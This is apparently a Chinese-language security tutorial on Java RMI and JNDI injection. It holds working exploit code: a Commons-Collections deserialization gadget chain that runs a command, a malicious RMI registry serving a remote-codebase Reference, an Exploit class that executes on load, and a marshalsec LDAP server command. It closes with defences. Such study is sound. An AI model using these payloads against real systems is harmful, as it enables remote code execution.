Java反序列化-RMI&JNDI初探
字数 2140 2025-08-25 22:59:02
Java反序列化漏洞:RMI与JNDI攻击详解
1. RMI基础概念
1.1 RMI定义
RMI(Remote Method Invocation,远程方法调用)是Java中允许运行在一个Java虚拟机的对象调用运行在另一个Java虚拟机上的对象方法的机制。这两个虚拟机可以运行在同一台计算机的不同进程中,也可以运行在网络上的不同计算机中。
1.2 RMI核心组件
-
Stub和Skeleton:
- Stub(存根):位于客户端的代理类,包含服务器Skeleton信息
- Skeleton(骨架):位于服务端的代理类
-
RMI Registry:
- RMI注册表,默认监听1099端口
- Client通过Name向RMI Registry查询,获取绑定关系和对应的Stub
-
远程对象:
- 必须实现
java.rmi.Remote接口 - 实现类必须继承
UnicastRemoteObject类 - 只有远程接口中声明的方法才能被远程调用
- 必须实现
-
序列化传输:
- 参数和返回值在传输时会被序列化
- 相关类必须实现
java.io.Serializable接口 - 客户端和服务端的
serialVersionUID必须一致
2. RMI通信流程
- 服务端创建远程对象,Skeleton侦听随机端口
- RMI Registry启动,注册远程对象,绑定Name和远程对象
- 客户端向RMI Registry发起请求,根据Name获取Stub
- Stub与Skeleton建立通信,进行远程方法调用
- 调用结果通过Skeleton→Stub→客户端返回
3. RMI攻击面分析
3.1 反序列化攻击
由于RMI通信使用序列化数据传输,客户端和服务端可以相互进行反序列化攻击。
攻击服务端(客户端→服务端)
条件:
- 服务端JDK版本存在漏洞(如JDK1.7u21)
- 服务端存在可利用组件(如Commons-Collections3.1)
攻击代码示例:
public static Object payload() throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map map = new HashMap();
map.put("value", "lala");
Map transformedMap = TransformedMap.decorate(map, null, transformerChain);
Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
Object instance = ctor.newInstance(Target.class, transformedMap);
return instance;
}
攻击客户端(服务端→客户端)
服务端同样可以通过恶意反序列化数据攻击客户端。
3.2 远程动态加载代码
Java平台支持从任何URL动态下载Java类组件到虚拟机中执行。
攻击条件:
java.rmi.server.useCodebaseOnly=false(JDK6u45、7u21开始默认为true)- 设置
securityManager和java.security.policy
服务端设置codebase示例:
System.setProperty("java.rmi.server.codebase", "http://127.0.0.1:8000/commons-collections-3.1.jar");
客户端安全策略示例(java.policy):
grant {
permission java.security.AllPermission;
};
4. RMI工厂模式
工厂模式是RMI的另一种使用方式,流程如下:
- 创建FactoryImpl对象,设置其指向ProductImp对象
- RMI Registry启动,注册指向FactoryImpl对象的reference对象
- 客户端查询RMI Registry,获取reference对象
- 客户端加载FactoryImpl对象并调用其方法,获取指向ProductImp的reference对象
- 客户端加载ProductImp对象并调用其方法
特点:执行远程对象方法的是RMI客户端,可用于攻击客户端。
5. JNDI注入攻击
5.1 JNDI基础
JNDI(Java Naming and Directory Interface)是Java命名和目录接口,提供查找和访问各种命名和目录服务的统一接口。
常用服务接口:
- LDAP(轻量级目录访问协议)
- CORBA(公共对象请求代理结构服务)
- RMI(Java远程方法调用注册)
- DNS(域名服务)
5.2 JNDI注入原理
当lookup函数的参数URL可控时,就会产生JNDI注入漏洞。
RMI协议攻击
条件:
com.sun.jndi.rmi.object.trustURLCodebase=true(JDK6u132、7u122、8u113开始默认为false)
恶意服务器代码:
Registry registry = LocateRegistry.createRegistry(1099);
Reference Exploit = new Reference("Exploit", "Exploit", "http://127.0.0.1:8000/");
ReferenceWrapper refObjWrapper = new ReferenceWrapper(Exploit);
registry.bind("Exploit", refObjWrapper);
Exploit类示例:
public class Exploit implements ObjectFactory {
static {
System.err.println("Pwned");
try {
String[] cmd = {"/System/Applications/Calculator.app/Contents/MacOS/Calculator"};
java.lang.Runtime.getRuntime().exec(cmd);
} catch (Exception e) {
e.printStackTrace();
}
}
//...
}
LDAP协议攻击
条件:
com.sun.jndi.ldap.object.trustURLCodebase=true(JDK11.0.1、8u191、7u201、6u211开始默认为false)
使用marshalsec启动LDAP服务器:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8000/#Exploit 1099
6. 防御措施
- 升级JDK:使用最新版本JDK,默认禁用远程codebase加载
- 设置安全属性:
java.rmi.server.useCodebaseOnly=truecom.sun.jndi.rmi.object.trustURLCodebase=falsecom.sun.jndi.ldap.object.trustURLCodebase=false
- 输入验证:对用户输入的JNDI查找名称进行严格验证
- 安全策略:配置严格的安全管理器策略
- 反序列化防护:使用白名单验证反序列化的类
7. 总结
RMI和JNDI注入是Java反序列化攻击的重要攻击面,理解其工作原理和攻击方式对于安全防护至关重要。随着JDK版本的更新,许多默认不安全的配置已被修复,但在旧系统中仍然存在风险。开发者应当了解这些攻击原理,采取适当的防御措施保护系统安全。